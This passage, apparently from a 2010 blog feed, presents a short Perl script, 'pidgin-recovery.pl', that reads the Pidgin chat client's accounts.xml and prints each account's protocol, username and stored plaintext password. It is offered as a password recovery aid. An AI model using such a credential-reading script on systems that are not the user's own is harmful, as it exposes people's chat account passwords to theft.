It has been tested on both, Windows XP and Linux. If I remember correctly, Application Data folder was in a different directory in Windows 7 so I&#8217;m not sure if it&#8217;ll work on it. For Windows you need to install <a href="http://www.activestate.com/activeperl">ActivePerl</a> or <a href="http://strawberryperl.com/">StrawberryPerl</a>. Every Linux should have Perl already installed.</p>

<div class="wp_syntax_wrapper"><span class="wp_syntax_lang">Perl</span><div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
</pre></td><td class="code"><pre class="perl" style="color: #FFF; font-family:&quot;Consolas&quot;,monospace,&quot;Courier New&quot;"><span style="color: #999;">#!/usr/bin/perl</span>
<span style="color: #999;">#    pidgin-recovery.pl</span>
<span style="color: #999;"># Sat Oct 02 21:28:17 2010</span>
<span style="color: #999;"># Copyright  2010  jolttz</span>
<span style="color: #999;"># jolttz{ät}gmail{dot}com</span>
<span style="color: #999;">#</span>
&nbsp;
<span style="color: #996600;">use</span> strict<span style="color: #CCC;">;</span>
<span style="color: #996600;">use</span> warnings<span style="color: #CCC;">;</span>
&nbsp;
<span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">$home</span> <span style="color: #CCC;">=</span> <span style="color: #7AB9BE;">$ENV</span><span style="color: #CCC;">&#123;</span>HOME<span style="color: #CCC;">&#125;</span><span style="color: #CCC;">;</span> <span style="color: #999;"># Home dir for Linux</span>
&nbsp;
<span style="color: #3D9EDD;">if</span> <span style="color: #CCC;">&#40;</span><span style="color: #0000ff;">$^O</span> <span style="color: #CCC;">=~</span> <span style="color: #33CC66;">/mswin/i</span><span style="color: #CCC;">&#41;</span> <span style="color: #CCC;">&#123;</span> <span style="color: #999;"># If OS is Windows</span>
    <span style="color: #999;"># Get home dir for Win and add App Data folder to it</span>
    <span style="color: #7AB9BE;">$home</span> <span style="color: #CCC;">=</span> <span style="color: #7AB9BE;">$ENV</span><span style="color: #CCC;">&#123;</span>USERPROFILE<span style="color: #CCC;">&#125;</span><span style="color: #CCC;">.</span> <span style="color: #7ACC00;">&quot;/Application Data&quot;</span><span style="color: #CCC;">;</span>
<span style="color: #CCC;">&#125;</span>
&nbsp;
<span style="color: #999;"># Open the file that contains accounts info</span>
<span style="color: #996699;">open</span> <span style="color: #CCC;">&#40;</span>FILE<span style="color: #CCC;">,</span> <span style="color: #7ACC00;">&quot;$home/.purple/accounts.xml&quot;</span><span style="color: #CCC;">&#41;</span> <span style="color: #CCC;">||</span> <span style="color: #996699;">die</span> <span style="color: #CCC;">&#40;</span><span style="color: #7ACC00;">&quot;Could not open file!&quot;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span>
&nbsp;
<span style="color: #999;"># Go through each line and print the info we are looking for</span>
<span style="color: #3D9EDD;">foreach</span> <span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">$line</span> <span style="color: #CCC;">&#40;</span><span style="color: #009999;">&lt;FILE&gt;</span><span style="color: #CCC;">&#41;</span> <span style="color: #CCC;">&#123;</span>
    <span style="color: #3D9EDD;">if</span> <span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$line</span> <span style="color: #CCC;">=~</span> <span style="color: #33CC66;">/&lt;protocol&gt;(.+)&lt;\/protocol&gt;/</span><span style="color: #CCC;">&#41;</span> <span style="color: #CCC;">&#123;</span>
        <span style="color: #996699;">print</span> <span style="color: #7ACC00;">&quot;--------------------------<span style="color: #99FF00;">\n</span>&quot;</span><span style="color: #CCC;">;</span>
        <span style="color: #996699;">print</span> <span style="color: #7ACC00;">&quot;Protocol: &quot;</span><span style="color: #CCC;">.</span> <span style="color: #0000ff;">$1</span><span style="color: #CCC;">.</span> <span style="color: #7ACC00;">&quot;<span style="color: #99FF00;">\n</span>&quot;</span><span style="color: #CCC;">;</span>
    <span style="color: #CCC;">&#125;</span> <span style="color: #3D9EDD;">elsif</span> <span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$line</span> <span style="color: #CCC;">=~</span> <span style="color: #33CC66;">/&lt;name&gt;(.+)&lt;\/name&gt;/</span><span style="color: #CCC;">&#41;</span> <span style="color: #CCC;">&#123;</span>
        <span style="color: #996699;">print</span> <span style="color: #7ACC00;">&quot;Name: &quot;</span><span style="color: #CCC;">.</span> <span style="color: #0000ff;">$1</span><span style="color: #CCC;">.</span> <span style="color: #7ACC00;">&quot;<span style="color: #99FF00;">\n</span>&quot;</span><span style="color: #CCC;">;</span>
    <span style="color: #CCC;">&#125;</span> <span style="color: #3D9EDD;">elsif</span> <span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$line</span> <span style="color: #CCC;">=~</span> <span style="color: #33CC66;">/&lt;password&gt;(.+)&lt;\/password&gt;/</span><span style="color: #CCC;">&#41;</span> <span style="color: #CCC;">&#123;</span>
        <span style="color: #996699;">print</span> <span style="color: #7ACC00;">&quot;Password: &quot;</span><span style="color: #CCC;">.</span> <span style="color: #0000ff;">$1</span><span style="color: #CCC;">.</span> <span style="color: #7ACC00;">&quot;<span style="color: #99FF00;">\n</span>&quot;</span><span style="color: #CCC;">;</span>
    <span style="color: #CCC;">&#125;</span>
<span style="color: #CCC;">&#125;</span></pre></td></tr></table></div></div>

]]></content:encoded>
			<wfw:commentRss>http://kaabel.net/blog/?feed=rss2&#038;p=135</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

